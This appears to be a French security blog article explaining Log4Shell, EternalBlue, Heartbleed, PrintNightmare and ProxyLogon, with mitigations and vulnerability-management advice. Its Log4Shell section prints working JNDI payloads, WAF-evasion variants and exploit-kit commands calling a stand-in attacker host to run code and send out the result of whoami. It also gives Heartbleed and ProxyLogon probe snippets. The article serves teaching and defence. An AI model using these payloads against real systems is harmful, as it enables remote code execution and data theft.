💣
Sécurité réseau
Log4Shell et vulnérabilités critiques : les failles qui ont changé Internet
📅 2025-05-15 ⏱ 11 min de lecture 🏷 Intermédiaire

// SOMMAIRE

Log4Shell et vulnérabilités critiques : les failles qui ont changé l'internet

Certaines vulnérabilités sont si graves qu'elles redéfinissent la façon dont l'industrie pense la sécurité. Log4Shell, Heartbleed, EternalBlue — ces failles ont eu des impacts mondiaux. Comprendre leur fonctionnement est essentiel pour tout professionnel de la sécurité.

Log4Shell (CVE-2021-44228) — La pire vulnérabilité de la décennie

Qu'est-ce que Log4j ?

Log4j est une bibliothèque de journalisation Java utilisée dans des milliards d'applications : Minecraft, iCloud, Steam, Twitter, Amazon AWS, Cloudflare...

Le mécanisme de la vulnérabilité

Log4j interprète des expressions spéciales dans les messages qu'il journalise via la fonctionnalité JNDI (Java Naming and Directory Interface) :

// Comportement NORMAL de Log4j

logger.info("Utilisateur connecté : {}", username);

// Si username = "Jean" → log : "Utilisateur connecté : Jean"

// COMPORTEMENT MALVEILLANT

// Si username = "${jndi:ldap://attaquant.com/exploit}"

logger.info("Utilisateur connecté : {}", username);

// Log4j interprète ${jndi:...} et fait une requête LDAP externe !

// → Télécharge et EXÉCUTE le code depuis attaquant.com

Exploitation complète

# Payload Log4Shell basique

${jndi:ldap://attaquant.com:1389/exploit}

Variations pour contourner les WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://attaquant.com/exploit}

${jndi:${lower:l}${lower:d}a${lower:p}://attaquant.com/exploit}

${${upper:j}ndi:ldap://attaquant.com/exploit}

Exemple d'exploitation complète

1. Attaquant lance un serveur LDAP malveillant

python3 -m http.server 8888 &

java -jar JNDI-Exploit-Kit.jar -C "curl http://attaquant.com/$(whoami)" -A 0.0.0.0

2. Attaquant envoie le payload dans n'importe quel champ loggé

curl -H 'X-Api-Version: ${jndi:ldap://attaquant.com:1389/exploit}' http://victime.com/api

3. Le serveur vulnérable fait une requête LDAP → télécharge le payload → EXÉCUTION RCE !

Vecteurs d'injection

N'IMPORTE QUEL champ journalisé est vulnérable :

→ User-Agent HTTP

→ X-Forwarded-For header

→ Paramètres de formulaire

→ Noms d'utilisateurs

→ Messages de chat (Minecraft !)

→ Données de fichiers uploadés

→ Paramètres URL

Impact et correction

# Vérifier si vous êtes vulnérable

Scanner avec log4shell-scanner

python3 log4shell_scanner.py -u https://votre-site.com

Mitigation immédiate (sans mise à jour)

Java 8u191+ : -Dcom.sun.jndi.rmi.object.trustURLCodebase=false

Java 11.0.1+ : JNDI désactivé par défaut

Solution définitive : mettre à jour Log4j

Version vulnérable : Log4j 2.0-beta9 à 2.14.1

Version corrigée : Log4j 2.17.1+

Maven - mise à jour

<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-core</artifactId>

<version>2.17.1</version> <!-- Version corrigée -->

</dependency>

Gradle

implementation 'org.apache.logging.log4j:log4j-core:2.17.1'

EternalBlue (MS17-010) — La faille NSA qui a détruit des hôpitaux

Contexte

EternalBlue est un exploit développé par la NSA puis volé et publié par Shadow Brokers en 2017. Il exploite une vulnérabilité dans le protocole SMBv1 de Windows.

Fonctionnement

# EternalBlue exploite un buffer overflow dans SMBv1

Le service SMB (port 445) est vulnérable sur Windows XP à Server 2008 R2

Mécanisme simplifié :

1. Envoi d'un paquet SMB malformé → Buffer overflow

2. Exécution de code arbitraire en mode SYSTEM

3. Pas d'authentification requise !

Impact :

WannaCry (mai 2017) : 200 000 machines dans 150 pays en 72h

→ NHS (hôpitaux UK) : opérations annulées, patients redirigés

→ Renault, Deutsche Bahn, Telefonica paralysés

NotPetya (juin 2017) : 10 milliards de dégâts

→ Maersk (shipping) : 45 000 PCs réinstallés

→ Merck : 870M$ de pertes

→ FedEx TNT : 400M$ de pertes

Détection et protection

# Vérifier si SMBv1 est activé

Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

Désactiver SMBv1 IMMÉDIATEMENT si présent

Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

Set-SmbServerConfiguration –EnableSMB1Protocol $false -Force

Appliquer MS17-010 si pas encore fait

https://technet.microsoft.com/security/bulletin/ms17-010

Bloquer SMB externe au niveau firewall

Port 445 ne doit JAMAIS être exposé sur Internet

iptables -A INPUT -p tcp --dport 445 -s 10.0.0.0/8 -j ACCEPT

iptables -A INPUT -p tcp --dport 445 -j DROP

Heartbleed (CVE-2014-0160)

Le bug qui a "saigné" Internet

Heartbleed est une vulnérabilité dans OpenSSL permettant de lire la mémoire d'un serveur HTTPS — incluant potentiellement les clés privées SSL.

# Fonctionnement de Heartbleed

Le protocole TLS Heartbeat maintient les connexions actives :

Client envoie : "Envoie-moi 'BIRD' (4 lettres)"

Serveur répond : "BIRD" ← Normal

Avec Heartbleed (pas de vérification de la longueur) :

Client envoie : "Envoie-moi 'EGG' (64000 lettres)"

Serveur répond : "EGG" + 63997 octets de mémoire

Ces 63997 octets peuvent contenir : clés privées, mots de passe, données sensibles !

Test de vulnérabilité

import socket, ssl

def test_heartbleed(host, port=443):

# Paquet Heartbleed malformé

heartbleed_payload = (

b'\x18\x03\x02\x00\x03' # TLS Record Header

b'\x01' # Heartbeat Request

b'\x40\x00' # Longueur déclarée : 16384 (mais payload = 0)

)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

# ... (envoi et analyse de la réponse)

return "VULNÉRABLE" if len(response) > 3 else "Corrigé"

PrintNightmare (CVE-2021-1675)

# Vulnérabilité dans le spouleur d'impression Windows

Permet une élévation de privilèges SYSTEM depuis un compte normal

OU une exécution de code à distance

Vérifier si le spouleur est en cours d'exécution

Get-Service -Name Spooler

Mitigation si le spouleur n'est pas nécessaire

Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

Ou limiter via GPO : Computer Configuration → Administrative Templates

→ Printers → Allow Print Spooler to accept client connections → DISABLED

ProxyLogon/ProxyShell (Exchange) — CVE-2021-26855

# Chaîne de vulnérabilités dans Microsoft Exchange

ProxyLogon : contournement d'authentification + RCE

Exploité par Hafnium (APT chinois) AVANT le patch public

Test de vulnérabilité

curl -k "https://exchange.victime.com/ecp/y.js" \

-H "Cookie: X-BEResource=localhost~1942062522" \

-H "X-AnonResource: true" \

-H "X-BEResource: localhost/ecp/StartPage.aspx?~1942062522"

Réponse 200 = potentiellement vulnérable

Les patches sont disponibles depuis mars 2021

Vérifier : Get-ExchangeServer | Select Name, AdminDisplayVersion

Le CVSS — Scorer les vulnérabilités

# Common Vulnerability Scoring System v3.1

Score de 0 à 10

def calculer_cvss_basique(

attack_vector, # N=Network, A=Adjacent, L=Local, P=Physical

attack_complexity, # L=Low, H=High

privileges_required, # N=None, L=Low, H=High

user_interaction, # N=None, R=Required

scope, # U=Unchanged, C=Changed

confidentiality, # N=None, L=Low, H=High

integrity, # N=None, L=Low, H=High

availability # N=None, L=Low, H=High

):

# La formule réelle est complexe, voici les scores indicatifs

scores = {

'Log4Shell': {'score': 10.0, 'severity': 'CRITIQUE'},

'EternalBlue': {'score': 9.8, 'severity': 'CRITIQUE'},

'Heartbleed': {'score': 7.5, 'severity': 'ÉLEVÉ'},

'PrintNightmare': {'score': 8.8, 'severity': 'ÉLEVÉ'},

'ProxyLogon': {'score': 9.8, 'severity': 'CRITIQUE'},

}

return scores

Sources pour suivre les CVE :

→ https://nvd.nist.gov (National Vulnerability Database)

→ https://cve.mitre.org

→ https://www.exploit-db.com

→ https://vulhub.org (environnements Docker vulnérables pour s'entraîner)

Bonnes pratiques de gestion des vulnérabilités

Programme de Vulnerability Management :

  • INVENTAIRE
  • → Cartographier tous les actifs (serveurs, endpoints, applications)

    → Outils : Nessus, OpenVAS, Qualys, Tenable.io

  • SCAN RÉGULIER
  • → Scan hebdomadaire des actifs critiques

    → Scan mensuel de l'ensemble du périmètre

  • PRIORISATION
  • → CVSS > 9.0 : patch sous 24-48h

    → CVSS 7.0-8.9 : patch sous 7 jours

    → CVSS 4.0-6.9 : patch sous 30 jours

    → CVSS < 4.0 : planifier dans le cycle normal

  • SUIVI ET REPORTING
  • → Tableau de bord du nombre de vulnérabilités par criticité

    → KPI : Mean Time to Remediate (MTTR)

  • PROGRAMME BUG BOUNTY
  • → Inviter la communauté à trouver vos vulnérabilités

    → Platforms : HackerOne, Bugcrowd, YesWeHack (français)

    Conclusion

    Log4Shell, EternalBlue, Heartbleed — ces vulnérabilités démontrent qu'une seule faille dans une bibliothèque largement utilisée peut avoir des conséquences mondiales en quelques heures. La leçon : inventoriez vos dépendances, suivez les CVE, patchez vite. Le délai moyen d'exploitation après publication d'un patch est passé sous les 24 heures.

    💬 Voir l'article avec commentaires →
    ← Anatomie d'un phishing kit : comment fonctionnent les arnaques DevSecOps : intégrer la sécurité dans le développement →